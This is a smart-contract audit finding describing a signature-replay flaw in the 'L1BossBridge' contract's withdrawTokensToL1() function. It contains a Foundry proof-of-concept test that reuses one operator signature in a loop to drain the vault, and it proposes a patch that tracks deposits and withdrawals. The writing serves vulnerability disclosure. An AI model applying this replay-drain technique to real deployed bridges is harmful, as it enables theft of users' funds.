Summary
Once the operator has signed a user's message, the user can continue calling withdrawTokensToL1() even after he has withdrawn his deposited funds. He can keep doing so until vault's funds are drained.
Vulnerability Details
The following PoC shows the above attack vector by draining all the funds from the vault.
function test_t0x1cUserCanWithdrawRepeatedly() public {
deal(address(token), address(vault), 100 ether);
uint256 vaultBalance = token.balanceOf(address(vault));
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), vaultBalance + depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
assertEq(token.balanceOf(address(user)), userInitialBalance);
assertEq(token.balanceOf(address(vault)), vaultBalance);
bool continueAttack = true;
while (continueAttack) {
if (token.balanceOf(address(vault)) == 0) {
continueAttack = false;
} else {
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
}
}
assertEq(token.balanceOf(address(user)), userInitialBalance + vaultBalance);
assertEq(token.balanceOf(address(vault)), 0);
}
}
Impact
Attacker can steal all the funds from the vault.
Tools Used
Foundry
Recommendations
Add a mapping that keeps track of the amount deposited by an address inside the function depositTokensToL2(), and validate that inside withdrawTokensToL1(). Here's the git diff patch to be applied (this supports partial withdrawal by the user up to the limit of his deposited amount):
@@ -32,6 +32,8 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
IERC20 public immutable token;
L1Vault public immutable vault;
mapping(address account => bool isSigner) public signers;
+ mapping(address account => uint256 amount) public deposited;
+ mapping(address account => uint256 amount) public withdrawn;
error L1BossBridge__DepositLimitReached();
error L1BossBridge__Unauthorized();
@@ -71,6 +73,7 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
+ deposited[from] += amount;
token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
@@ -89,6 +92,8 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
* @param s The s value of the signature
*/
function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ require(amount + withdrawn[msg.sender] <= deposited[msg.sender], "Invalid withdrawal amount");
+ withdrawn[msg.sender] += amount;
sendToL1(
v,
r,
